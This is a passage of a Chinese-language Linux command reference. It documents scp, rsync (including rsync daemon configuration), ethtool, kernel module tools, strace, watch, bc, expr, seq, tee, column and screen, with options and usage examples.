-P 指定远程主机的端口号
-p 保留文件的最后修改时间,最后访问时间和权限模式
-q 不显示复制进度
-r 以递归方式复制
Example:
从远程复制目录到本地:
scp -r root@10.10.10.10:/opt/soft/mysql /opt/soft/
上传本地目录到远程机器指定目录:
scp -r /opt/soft/mysql root@192.168.10.10:/opt/soft/scptest
保留文件的最后修改时间,最后访问时间和权限模式:
scp -p /root/install.log root@192.168.10.10:/tmp
rsync
远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。
rsync使用所谓的“rsync算法”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。
yum -y install rsync
rsync [OPTION]... SRC [SRC]... DEST
rsync [OPTION]... SRC [SRC]... [USER@]HOST:DEST
rsync [OPTION]... [USER@]HOST:SRC [DEST]
rsync [OPTION]... SRC [SRC]... [USER@]HOST::DEST
rsync [OPTION]... SRC [SRC]... rsync://[USER@]HOST[:PORT]/DEST
rsync [OPTION]... [USER@]HOST::SRC [DEST]
rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
':' 用法通过远程shell(如 rsh、ssh)连接
'::' & 'rsync://' 用法通过 rsync daemon 连接,并要求SRC或DEST以模块名开头。
对应于以上七种命令格式,rsync有七种不同的工作模式:
- 本地文件传输。当SRC和DES路径信息都不包含有单个冒号":"分隔符时就启动这种工作模式。如:
rsync -a /data /backup
- Access via remote shell: Push
- 使用一个远程shell程序(如 rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号":"分隔符时启动该模式。如:
rsync -avz *.c foo:src
- 使用一个远程shell程序(如 rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号":"分隔符时启动该模式。如:
- Access via remote shell: Pull
- 使用一个远程shell程序(如 rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号":"分隔符时启动该模式。如:
rsync -avz foo:src/bar /data
- 使用一个远程shell程序(如 rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号":"分隔符时启动该模式。如:
- Access via rsync daemon: Push
- 从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含"::"分隔符时启动该模式。如:
rsync -av /databack root@192.168.78.192::www
- 从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含"::"分隔符时启动该模式。如:
- Access via rsync daemon: Push
- 这类似于4。如:
rsync -v /databack rsync://192.168.78.192/www
- 这类似于4。如:
- Access via rsync daemon: Pull
- Access via rsync daemon: Pull
- 这类似于6。如:
rsync -v rsync://192.168.78.192/www
- 这类似于6。如:
Options:
-v, --verbose 详细模式输出
-q, --quiet 精简输出模式
-c, --checksum 强制对文件传输进行校验
-a, --archive 以递归方式传输文件,并保持所有文件属性,same as -rlptgoD
-r, --recursive 对子目录以递归模式处理
-l, --links 保留软链接
-p, --perms 保持文件权限
-t, --times 保持文件时间信息
-g, --group 保持文件属组信息,需要root用户
-o, --owner 保持文件属主信息,需要root用户
-D, --devices 保持设备文件信息
-H, --hard-links 保留硬链接
-R, --relative 使用相对路径信息
-b, --backup 创建备份,对于目的已经存在有同样的文件名时,将老的文件重新命名为~filename。
可以使用 --suffix 选项来指定不同的备份文件前缀。
--backup-dir 将备份文件(如~filename)存放在在目录下。
--suffix=SUFFIX 定义备份文件前缀。
-u, --update 仅进行更新,跳过所有已经存在于DST,并且文件时间晚于要备份的文件,不覆盖更新的文件
-L, --copy-links 象对待常规文件一样处理软链接
--copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链接
--safe-links 忽略指向SRC路径目录树以外的链接
-S, --sparse 对稀疏文件进行特殊处理以节省DST的空间。
-n, --dry-run 在不做任何更改的情况下执行试运行。
-w, --whole-file 拷贝文件,不进行增量检测。
-x, --one-file-system 不要跨越文件系统边界。
-B, --block-size=SIZE 检验算法使用的块尺寸,默认是700字节。
-e, --rsh=command 指定使用rsh、ssh方式进行数据同步。
--rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息。
--existing 仅仅更新那些已经存在于DST的文件,而不备份那些新创建的文件
--delete 删除那些DST中SRC没有的文件
--delete-excluded 同样删除DST中该选项指定排除的文件
--delete-after 传输结束以后再删除
--ignore-errors 即使存在I/O错误也要删除
--max-delete=NUM 最多删除NUM个文件
--force 强制删除目录,即使不为空
--partial 保留那些因故没有完全传输的文件,用于加快随后的再次传输。
-h, --human-readable 以人类可读格式输出数字
--progress 传输期间显示进度
-P same as --partial --progress
-C, --cvs-exclude 使用和CVS一样的方法自动忽略文件,用来排除那些不希望传输的文件。
-m, --prune-empty-dirs 从文件列表中删除空的目录链
--numeric-ids 不将数字的用户和组id匹配为用户名和组名。
--timeout=time set I/O timeout in seconds
-I, --ignore-times 不跳过那些有同样的时间和长度的文件。
-M, --remote-option=OPTION 仅向远程端发送选项
--size-only 跳过大小匹配的文件
--modify-window=NUM 比较文件修改时间是否相同时, 使用的时间戳精度范围,默认为0
-T, --temp-dir=DIR 在DIR中创建临时文件
-y, --fuzzy 如果没有目标文件,则查找类似的文件作为依据
--compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份
-z, --compress 对备份的文件在传输时进行压缩处理
-f, --filter=RULE 增加一个文件筛选规则
-F same as --filter='dir-merge /.rsync-filter'
重复的: --filter='- .rsync-filter'
--exclude=PATTERN 指定排除不需要传输的文件模式
--include=PATTERN 指定不排除而需要传输的文件模式
--exclude-from=FILE 排除FILE中指定模式的文件
--include-from=FILE 不排除FILE指定模式匹配的文件
-s, --protect-args 不分割空间;仅通配符特殊字符
--address 绑定到特定的地址
--port=PORT 指定备用rsync服务端口号
--blocking-io 对远程shell使用阻塞I/O
--stats 给出某些文件的传输状态
-i, --itemize-changes 输出所有更新的更改摘要
--log-file=FILE 记录我们的动作到指定的文件中
--log-file-format=FMT 使用指定的 FMT 更新日志
--password-file=FILE 从文件读取守护程序访问密码
--bwlimit=KBPS 限制I/O带宽,KBytes per second。
在客户端使用rsync命令来手动备份服务端上的数据:
详细模式输出,传输时进行压缩,递归,保持文件时间,属主,属组,权限信息,传输期间显示进度,指定使用ssh方式进行数据同步,删除DST中SRC没有的文件
$ rsync -vzrtopg --progress -e ssh --delete work@172.16.78.192:/www/* /databack/experiment/rsync
work@172.16.78.192's password:
receiving file list ...
5 files to consider
test/
a
0 100% 0.00kB/s 527:35:41 (1, 20.0% of 5)
b
67 100% 65.43kB/s 0:00:00 (2, 40.0% of 5)
c
0 100% 0.00kB/s 527:35:41 (3, 60.0% of 5)
dd
100663296 100% 42.22MB/s 0:00:02 (4, 80.0% of 5)
sent 96 bytes received 98190 bytes 11563.06 bytes/sec
total size is 100663363 speedup is 1024.19
rsync daemon 方式:
-
启动rsync服务,编辑
/etc/xinetd.d/rsync
文件,将其中的disable=yes
改为disable=no
,并重启xinetd服务 -
创建配置文件: 默认rsync安装后,不会自动创建主配置文件,需要手工来创建,其主配置文件为
/etc/rsyncd.conf
:
$ vi /etc/rsyncd.conf
uid=root
gid=root
max connections=4
log file=/var/log/rsyncd.log
pid file=/var/run/rsyncd.pid
lock file=/var/run/rsyncd.lock
secrets file=/etc/rsyncd.passwd
hosts deny=172.16.78.0/22
[www]
comment= backup web
path=/www
read only = no
exclude=test
auth users=work
- 创建密码文件: 采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600。
echo "work:123456" > /etc/rsyncd.passwd && chmod 600 /etc/rsyncd.passwd
- 备份:
$ rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync
Password:
receiving file list ...
6 files to consider
./ files...
a
0 100% 0.00kB/s 528:20:41 (1, 50.0% of 6)
b
67 100% 65.43kB/s 0:00:00 (2, 66.7% of 6)
c
0 100% 0.00kB/s 528:20:41 (3, 83.3% of 6)
dd
100663296 100% 37.49MB/s 0:00:02 (4, 100.0% of 6)
sent 172 bytes received 98276 bytes 17899.64 bytes/sec
total size is 150995011 speedup is 1533.75
- 恢复,前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复:
$ rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www
Password:
building file list ...
6 files to consider
./
a
b
67 100% 0.00kB/s 0:00:00 (2, 66.7% of 6)
c
sent 258 bytes received 76 bytes 95.43 bytes/sec
total size is 150995011 speedup is 452080.87
rsync daemon 多模块:
$ vi /etc/rsyncd.conf
uid = rsync --- 指定管理备份目录的用户
gid = rsync --- 指定管理备份目录的用户组
port = 873 --- 定义rsync备份服务的网络端口号
fake super = yes --- 将rsync虚拟用户伪装成为一个超级管理员用户,非root用户不能使用 -og
use chroot = no --- 和安全相关的配置
max connections = 200 --- 最大连接数 同时只能有200个客户端连接到备份服务器
timeout = 300 --- 超时时间(单位秒)
pid file = /var/run/rsyncd.pid --- 记录进程号码信息 1.让程序快速停止进程 2. 判断一个服务是否正在运行
lock file = /var/run/rsync.lock --- 锁文件
log file = /var/log/rsyncd.log --- rsync服务的日志文件 用于排错分析问题
ignore errors --- 忽略传输中的简单错误
read only = false --- 指定备份目录是可读可写
list = false --- 使客户端可以查看服务端的模块信息
hosts allow = 172.16.1.0/24 --- 允许传输备份数据的主机(白名单)
hosts deny = 0.0.0.0/32 --- 禁止传输备份数据的主机(黑名单)
auth users = rsync_backup --- 指定认证用户
secrets file = /etc/rsync.password --- 指定认证用户密码文件 用户名称:密码信息
[backup] --- 模块信息
comment = "backup dir by oldboy"
path = /backup --- 模块中配置参数 指定备份目录
[dba]
comment = "backup dir by oldboy"
path = /dba
[dev]
comment = "backup dir by oldboy"
path = /devdata
创建rsync服务的虚拟用户
useradd rsync -M -s /sbin/nologin
创建备份服务认证密码文件
echo "rsync_backup:oldboy123" >/etc/rsync.password && chmod 600 /etc/rsync.password
创建备份目录并修改属主属组信息
mkdir /backup && chown rsync.rsync /backup/
启动备份服务
systemctl start rsyncd
systemctl enable rsyncd
systemctl status rsyncd
客户端配置免密传输
echo "oldboy123" >/etc/rsync.password && chmod 600 /etc/rsync.password
rsync -avz /etc/hosts rsync_backup@172.16.1.41::backup --password-file=/etc/rsync.password
ethtool
永久配置写入文件,下面两个之一:
/etc/sysconfig/network-scripts/ifcfg-eth0
中ETHTOOL_OPTS="speed 100 duplex full autoneg off"
/etc/rc.d/rc.local
中ethtool -s eth0 speed 100 duplex full autoneg off
ethtool -a|--show-pause devname
ethtool -A|--pause devname [autoneg on|off] [rx on|off] [tx on|off]
ethtool -c|--show-coalesce devname
ethtool -C|--coalesce devname [adaptive-rx on|off] [adaptive-tx on|off]
[rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N]
[tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N]
[stats-block-usecs N] [pkt-rate-low N] [rx-usecs-low N] [rx-frames-low N]
[tx-usecs-low N] [tx-frames-low N] [pkt-rate-high N] [rx-usecs-high N]
[rx-frames-high N] [tx-usecs-high N] [tx-frames-high N]
[sample-interval N]
ethtool -g|--show-ring devname
ethtool -G|--set-ring devname [rx N] [rx-mini N] [rx-jumbo N] [tx N]
ethtool -i|--driver devname
ethtool -d|--register-dump devname [raw on|off] [hex on|off] [file name]
ethtool -e|--eeprom-dump devname [raw on|off] [offset N] [length N]
ethtool -E|--change-eeprom devname [magic N] [offset N] [length N] [value N]
ethtool -k|--show-features|--show-offload devname
ethtool -K|--features|--offload devname feature on|off ...
ethtool -p|--identify devname [N]
ethtool -P|--show-permaddr devname
ethtool -r|--negotiate devname
ethtool -S|--statistics devname
ethtool --phy-statistics devname
ethtool -t|--test devname [offline|online|external_lb]
ethtool -s devname [speed N] [duplex half|full] [port tp|aui|bnc|mii]
[mdix auto|on|off] [autoneg on|off] [advertise N] [phyad N]
[xcvr internal|external] [wol p|u|m|b|a|g|s|d...]
[sopass xx:yy:zz:aa:bb:cc] [msglvl N | msglvl type on|off ...]
ethtool -n|-u|--show-nfc|--show-ntuple devname
[ rx-flow-hash tcp4|udp4|ah4|esp4|sctp4|tcp6|udp6|ah6|esp6|sctp6 | rule N ]
ethtool -N|-U|--config-nfc|--config-ntuple devname
rx-flow-hash tcp4|udp4|ah4|esp4|sctp4|tcp6|udp6|ah6|esp6|sctp6
m|v|t|s|d|f|n|r... |
flow-type ether|ip4|tcp4|udp4|sctp4|ah4|esp4|ip6|tcp6|udp6|ah6|esp6|sctp6
[src xx:yy:zz:aa:bb:cc [m xx:yy:zz:aa:bb:cc]]
[dst xx:yy:zz:aa:bb:cc [m xx:yy:zz:aa:bb:cc]] [proto N [m N]] [src-ip ip-
address [m ip-address]] [dst-ip ip-address [m ip-address]] [tos N [m N]]
[tclass N [m N]] [l4proto N [m N]] [src-port N [m N]] [dst-port N [m N]]
[spi N [m N]] [l4data N [m N]] [vlan-etype N [m N]] [vlan N [m N]]
[user-def N [m N]] [dst-mac xx:yy:zz:aa:bb:cc [m xx:yy:zz:aa:bb:cc]]
[action N] [context N] [loc N] |
delete N
ethtool -w|--get-dump devname [data filename]
ethtool -W|--set-dump devname N
ethtool -T|--show-time-stamping devname
ethtool -x|--show-rxfh-indir|--show-rxfh devname
ethtool -X|--set-rxfh-indir|--rxfh devname [hkey xx:yy:zz:aa:bb:cc:...] [ equal
N | weight W0 W1 ... | default ] [hfunc FUNC] [context CTX | new]
[delete]
ethtool -f|--flash devname file [N]
ethtool -l|--show-channels devname
ethtool -L|--set-channels devname [rx N] [tx N] [other N] [combined N]
ethtool -m|--dump-module-eeprom|--module-info devname [raw on|off] [hex on|off]
[offset N] [length N]
ethtool --show-priv-flags devname
ethtool --set-priv-flags devname flag on|off ...
ethtool --show-eee devname
ethtool --set-eee devname [eee on|off] [tx-lpi on|off] [tx-timer N] [advertise N]
ethtool --show-fec devname
ethtool --set-fec devname [encoding auto|off|rs|baser]
-a, --show-pause 查询指定的以太网设备以获取暂停参数信息。
-A, --pause 更改指定以太网设备的暂停参数。
autoneg on|off 指定是否应启用暂停自动协商。
rx on|off 指定是否应启用RX暂停。
tx on|off 指定是否应启用TX暂停。
-c, --show-coalesce 查询指定的网络设备以获取合并信息.
-C, --coalesce 更改指定网络设备的合并设置.
-g, --show-ring 查询指定网络设备的rx/tx环参数信息.
-G, --set-ring 更改指定网络设备的rx/tx环参数。
rx N 更改Rx环的环条目数。
rx-mini N 更改Rx mini 环的环条目数。
rx-jumbo N 更改Rx Jumbo 环的环条目数。
tx N 更改Tx环的环条目数。
-i, --driver 查询指定的网络设备以获取相关的驱动程序信息。
-d, --register-dump 检索并打印指定网络设备的寄存器转储
-e, --eeprom-dump 检索并打印指定网络设备的EEPROM转储。
raw on|off
offset N
length N
-E, --change-eeprom 更改指定网络设备的EEPROM字节
-k, --show-features --show-offload
查询指定的网络设备卸载参数和其他功能的状态。
-K, --features --offload
更改指定网络设备的卸载参数和其他功能
rx on|off 指定是否应启用RX校验和。
tx on|off 指定是否应启用TX校验和。
sg on|off 指定是否应启用散射聚集。
tso on|off 指定是否应启用TCP分段卸载。
ufo on|off 指定是否应启用UDP碎片卸载
gso on|off 指定是否应启用泛型分段卸载
gro on|off 指定是否应启用通用接收卸载
lro on|off 指定是否应启用大型接收卸载
rxvlan on|off 指定是否应启用RX VLAN加速
txvlan on|off 指定是否应启用TX VLAN加速
ntuple on|off 指定是否应启用Rx ntuple筛选器和操作
rxhash on|off 指定是否应启用接收哈希卸载
-p, --identify
用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;
[ N] 网卡闪的持续时间,以秒为单位
-P, --show-permaddr 查询指定网络设备的永久硬件地址。
-r, --negotiate 如果启用了自动协商,则在指定的以太网设备上重新启动自动协商。
-S, --statistics 查询指定的网络设备以获取NIC和驱动程序的统计信息.
--phy-statistics 查询指定网络设备的PHY特定统计信息。
-t, --test 在指定的网络设备上执行适配器自检。可能的测试模式有:
offline 进行全套测试,可能在测试期间中断正常操作
online 进行有限的测试,不中断正常运行,
external_lb 执行全套测试,如离线测试,以及额外的外部环回测试。
-s, --change 允许更改指定网络设备的部分或全部设置。
speed N 以Mb/s为单位设置速度
duplex half|full 设置全双工或半双工模式。
port tp|aui|bnc|mii 选择设备端口。
mdix auto|on|off
为端口选择MDI-X模式:auto自动检测,on强制MDI-X(交叉)模式,off表示MDI(直通)模式
autoneg on|off 指定是否应启用自动协商
advertise N 设置自动协商播发的速度和双工,n是一个十六进制值
phyad N PHY address.
xcvr internal|external
选择收发器类型
wol p|u|m|b|a|g|s|d...
设置LAN唤醒选项
p Wake on PHY activity
u Wake on unicast messages
m Wake on multicast messages
b Wake on broadcast messages
a Wake on ARP
g Wake on MagicPacket™
s Enable SecureOn™ password for MagicPacket™
d 禁用(无唤醒)。清除所有以前的选项。
sopass xx:yy:zz:aa:bb:cc
设置SecureOn™ 密码。此选项的参数必须为以太网MAC十六进制格式的6字节
msglvl N
msglvl type on|off ...
按名称或编号设置驱动程序消息类型标志
-n, -u --show-nfc --show-ntuple
检索接收网络流分类选项或规则。
rx-flow-hash tcp4|udp4|ah4|esp4|sctp4|tcp6|udp6|ah6|esp6|sctp6
检索指定流类型的哈希选项。
rule N 检索具有给定ID的RX分类规则。
-N, -U --config-nfc --config-ntuple
配置接收网络流分类选项或规则。
rx-flow-hash tcp4|udp4|ah4|esp4|sctp4|tcp6|udp6|ah6|esp6|sctp6
m|v|t|s|d|f|n|r...
配置指定流类型的哈希选项。
flow-type ether|ip4|tcp4|udp4|sctp4|ah4|esp4|ip6|tcp6|udp6|ah6|esp6|sctp6
插入或更新指定流类型的分类规则。
-w, --get-dump 检索并打印指定网络设备的固件转储
-W, --set-dump 设置设备的转储标志。
-T, --show-time-stamping
显示设备的时间戳功能和相关的PTP硬件时钟。
-x, --show-rxfh-indir --show-rxfh
检索接收流哈希间接寻址表 and/or RSS hash key。
-X, --set-rxfh-indir --rxfh
配置接收流哈希间接寻址表 and/or RSS hash key。
-f, --flash 将固件映像写入设备上的闪存或其他非易失性内存.
file 指定固件映像的文件名
N 指定要写入的区域
-l, --show-channels 查询指定网络设备的频道数
-L, --set-channels 更改指定网络设备的频道数。
rx N 更改只有接收队列的通道数。
tx N 更改只有传输队列的通道数。
other N 更改仅用于其他目的的信道数量
combined N 更改多用途频道的数量。
-m, --dump-module-eeprom --module-info
从插件模块中检索EEPROM并解码(如有可能)
--show-priv-flags 查询指定网络设备的专用标志
--set-priv-flags 按指定设置设备的专用标志。
flag on|off 设置命名私有标志的状态。
--show-eee 查询指定的网络设备是否支持节能
--show-fec 查询指定的网络设备是否支持前向纠错。
--set-fec 为指定的网络设备配置前向纠错。
encoding auto|off|rs|baser
设置设备的FEC编码。
auto 使用驱动程序的默认编码
off Turn off FEC
RS Force RS-FEC encoding
BaseR Force BaseR encoding
Example:
ethtool eth0 查询网口基本设置
ethtool -i eth0 查询网口的驱动相关信息
ethtool -A tx off eth0 停止网卡的发送模块TX
ethtool -a eth0 查询网口暂停参数
ethtool -K eth0 rx off 关闭网卡对收到的数据包的校验功能
ethtool –k eth0 查看校验功能是否已被停止
ethtool -p eth0 10 区别网卡物理位置,led快速闪烁
ethtool -S eth0 查看网卡,在接收/发送数据时,有没有出错
ethtool -s eth0 speed 100 duplex full autoneg off 设置网口工作方式, 速率和双工必须同时设置
lsmod
lsmod 显示已经加载到内核中的模块的状态信息
Module Size Used by
模块名称 模块大小 依赖模块的个数 依赖模块的内容
lsmod | grep -i ext3 查询当前系统是否加载了ext3模块
modinfo
modinfo [ -k kernel ] [ modulename|filename... ] 显示模块的详细描述信息
-n:只显示模块文件路径
-p:显示模块参数
-a:作者
-d:描述
Example:
lsmod | grep xfs
modinfo xfs
depmod
内核模块依赖关系文件及系统信息映射文件的生成工具
产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。
depmod [选项]
-a, --all 分析所有可用的模块
-b<目录> 指定内核模块目录
-d, --debug 执行排错模式
-e 输出无法参照的符号
-F 提供内核编译时生成的system.map文件
-i 不检查符号表的版本
-n 将各种内核映射文件打印到标准输出
-A 快速模式
-m <文件>, --system-map <文件> 使用指定的符号表文件
-s, --system-log 在系统记录中记录错误
-v, --verbose 执行时显示详细的信息
Example:
depmod -a 显示可用模块
depmod -e 列出已挂载但不可用的模块
depmod -n 列出所有模块的依赖关系,但仅仅是输出出来
编译linux过程及执行depmod的例子:
genkernel.sh (at linux-2.6.18_pro500)
#######
export INSTALL_ROOT_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
export INSTALL_MOD_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/lib -rf
rm /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/* -rf
cd <linux_src_dir>
make
make modules_install
cp vmlinux System.map /home/windsome/EMMA3PF-KernelSource-20080626/install_pos/boot/ -p
cd /home/windsome/EMMA3PF-KernelSource-20080626/install_pos
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
/home/windsome/EMMA3PF-KernelSource-20080626/install_pos
是我make mod_install
后,所有模块的存放路径。./boot/System.map
是make linux
后生成,我拷贝到此目录的。2.6.18_pro500-bcm91250-mips2_fp_be
是我build的linux的版本。
编译新驱动:
- 先将模块拷贝到
/lib/modules/2.6.31-20-generic
目录下, - 然后运行
sudo depmod -a
将模块信息写入modules.dep、modules.dep.bin、modules.alias.bin、modules.alias和modules.pcimap文件中。 - 最后用
modprobe ***
加载模块
例如,编译一个新的wifi驱动r8192se_pci.ko,将其拷贝到/lib/modules/2.6.31-20-generic/wireless
下,然后到/lib/modules/2.6.31-20-generic
运行depmod -a
,之后可以在任意目录运行modprobe r8192se_pci。
modprobe
用于智能地向内核中加载模块或者从内核中移除模块。可载入指定的个别模块,或是载入一组相依的模块。
modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,modprobe会卸载整组的模块。内核模块加载成功或失败信息可以使用dmesg指令来查看。
配置文件:/etc/modprobe.conf
, /etc/modprobe.d/*.conf
modprobe [options] [-i] [-b] modulename
modprobe [options] -a [-i] [-b] modulename [modulename...]
modprobe [options] -r [-i] modulename
modprobe [options] -r -a [-i] modulename [modulename...]
modprobe [options] -c
modprobe [options] --dump-modversions filename
-a, --all 加载命令行给出的全部的模块
-c, --show-conf 显示所有模块的设置信息
-d, --debug 使用排错模式
-l, --list 显示可用的模块
-r, --remove 模块闲置不用时,从内核中移除模块
-t, --type 指定模块类型
-s 记录错误信息到系统日志中
--show-depends 显示模块依赖关系
-v, --verbose 执行时显示详细的信息
Example:
modprobe -c 查看modules的配置文件
modprobe -l 列出内核中所有已经或者未挂载的所有模块
modprobe e1000 挂载指定模块(网卡驱动)
modprobe -r e1000 移除指定模块(网卡驱动),和rmmod功能相同
insmod
insmod [ filename ] [ module options... ] 指定模块文件,不自动解决依赖模块
insmod `modinfo –n exportfs`
lnsmod `modinfo –n xfs`
rmmod
remove module,用于卸载模块,与modprobe -r
命令相似。
Linux操作系统的核心具有模块化的特性,因此在编译核心时,不需要把全部功能都放入核心,可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。
rmmod [选项] [模块名称]
-a 删除所有目前不需要的模块
-s 把信息输出至syslog,而非终端机界面
-v 显示指令执行的详细信息
-f 强制移除模块,使用此选项比较危险
-w 等待,直到模块能够被除时再移除模块
strace
strace命令是一个集诊断、调试、统计与一体的工具,我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析,以达到解决问题或者是了解应用工作过程的目的。
strace常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux中,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
strace [-CdffhiqrtttTvVwxxy] [-I n] [-e expr]...
[-a column] [-o file] [-s strsize] [-P path]...
-p pid... / [-D] [-E var=val]... [-u username] PROG [ARGS]
strace -c[dfw] [-I n] [-e expr]... [-O overhead] [-S sortby]
-p pid... / [-D] [-E var=val]... [-u username] PROG [ARGS]
-c 统计每一系统调用的所执行的时间,次数和出错的次数等
-d 输出strace关于标准错误的调试信息
-f 跟踪由fork调用所产生的子进程
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪
-a 设置返回值的输出位置.默认为40
-r 打印每一个系统调用的相对时间
-t 在输出中的每一行前加上时间信息
Example:
通用的完整用法,跟踪28979进程的所有系统调用(-e trace=all),并统计系统调用的花费时间,以及开始时间(并以可视化的时分秒格式显示),最后将记录结果存在output.txt文件里面:
strace -o output.txt -T -tt -e trace=all -p 28979
跟踪whoami时的输出:
strace -o whoami-strace.txt whoami
同时跟踪fork和vfork出来的进程,把所有strace输出写到~/dcop-strace.txt里面, 启动调试dcopserver:
strace -f -F -o ~/dcop-strace.txt dcopserver
限制strace只跟踪特定的系统调用:
strace -f -o configure-strace.txt -e execve ./configure
watch
watch命令以周期性的方式执行给定的指令,指令输出以全屏方式显示。
watch是一个非常实用的命令,基本所有的Linux发行版都带有这个小工具,如同名字一样,watch可以帮你监测一个命令的运行结果,省得你一遍遍的手动运行。
watch [options] command
-b, --beep 如果命令有非零退出,则发出哔声
-c, --color 解释ANSI颜色和样式序列
-d, --differences[=<permanent>]
高亮显示变化的区域
-d=cumulative 变动过的地方(不管最近的那次有没有变动)都高亮显示出来
-e, --errexit 如果命令有非零退出,则退出
-g, --chgexit 命令输出更改时退出
-n, --interval <secs> 指定运行间隔时间,默认2秒
-p, --precise 尝试以精确的间隔运行命令
-t, --no-title 关闭顶部的时间间隔、命令、当前时间的输出
Example:
watch -n 1 -d netstat -ant 每隔一秒高亮显示网络链接数的变化情况:
watch -n 60 from 监控mail
watch -n 1 "df -i;df" 监测磁盘inode和block数目变化情况
watch -d 'ls -l|grep test.txt' 监测当前目录中test.txt文件的变化
bc
任意精度计算器语言
yum -y install bc
运算:
+ 加法
- 减法
* 乘法
/ 除法
^ 指数
% 余数
bc [ OPTIONS ] 指定包含计算任务的文件
-i 强制进入交互式模式,默认值;
-l 定义使用的标准数学库
; -w 对POSIX bc的扩展给出警告信息;
-q 不打印正常的GNU bc环境信息;
bc 进入计算器交互式模式
quit 退出
echo "15+5" | bc
echo "sqrt(100)" | bc 计算平方根
echo 'scale=2; (2.77-1.44)/1' | bc 保留2位小数scale=2;注意结果要/1
echo "ibase=2;111" |bc 将后面的二进制数ibase=2;转换为十进制数
echo "obase=2;7" | bc 将后面的十进制数obase=2;转换为二进制数
expr
expr 命令行计数器,参数必须是整数,否则报错
Example:
四则运算:
$ expr \( 10 + 10 \) \* 2 - \( 10 % 2 \)
40
计算字符串长度:
$ expr length “this is a test”
14
抓取字符串:
$ expr substr “this is a test” 3 5
is is
指定字符在字符串第一次出现的位置:
$ expr index "sarasara" a
2
seq
seq [option] 起始值 间隔值 结束值 打印数字序列
-f, --format=FORMAT 打印 FORMAT 格式 浮点样式
-s, --separator=STRING 使用字符串分隔数字(default: \n)
-w, --equal-width 在列前添加0 使得宽度相同
Example:
seq -s ':' -f "%03g" 18 31 打印18~31之间的整数,数字间的分隔符为':'
tee
从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件 。
tee [选项]... [文件]...
-a 内容追加到给定的文件而非覆盖
-i 忽略中断信号
column
将输入格式化为多个列。在列之前填充行。输入可以来自文件,默认情况下来自标准输入。
column 将其输入格式化为多个列,在列之前填充行
-s sep 指定一组字符,用于分隔-t选项的列
-t 确定输入包含的列数并创建表
-n 禁用将多个相邻分隔符合并为单个分隔符行为
-c columns 输出格式化为显示columns列宽
-x 在填充行之前填充列
-e 不要忽略空白行(默认忽略空白行)
screen
会话恢复
只要Screen本身没有终止,在其内部运行的会话都可以恢复。这一点对于远程登录的用户特别有用——即使网络连接中断,用户也不会失去对已经打开的命令行会话的控制。只要再次登录到主机上执行screen -r就可以恢复会话的运行。同样在暂时离开的时候,也可以执行分离命令detach,在保证里面的程序正常运行的情况下让Screen挂起(切换到后台)。这一点和图形界面下的VNC很相似。
多窗口
在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。Screen实现了基本的文本操作,如复制粘贴等;还提供了类似滚动条的功能,可以查看窗口状况的历史记录。窗口还可以被分区和命名,还可以监视后台窗口的活动。 会话共享 Screen可以让一个或多个用户从不同终端多次登录一个会话,并共享会话的所有特性(比如可以看到完全相同的输出)。它同时提供了窗口访问权限的机制,可以对窗口进行密码保护。
yum -y install screen
screen 默认以tty+主机名创建会话
screen –S [SESSION] 创建SESSION会话
screen –x [SESSION] 加入SESSION会话
screen -ls, -list 显示所有已经打开的screen会话
screen -r [SESSION|PID] 恢复SESSION会话
screen -d [SESSION|PID] 离线SESSION会话
screen -d -r [SESSION|PID] 结束当前session会话恢复SESSION会话
Ctrl+d | exit 退出并关闭当前screen会话
Ctrl+a,d 暂时中断当前screen会话
screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
-A 将所有的视窗都调整为目前终端机的大小。
-d <作业名称> 将指定的screen作业离线。
-h <行数> 指定视窗的缓冲区行数。
-m 即使目前已在作业中的screen作业,仍强制建立新的screen作业。
-r <作业名称> 恢复离线的screen作业。
-R 先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-s 指定建立新视窗时,所要执行的shell。
-S <作业名称> 指定screen作业的名称。
-x 恢复之前离线的screen作业。
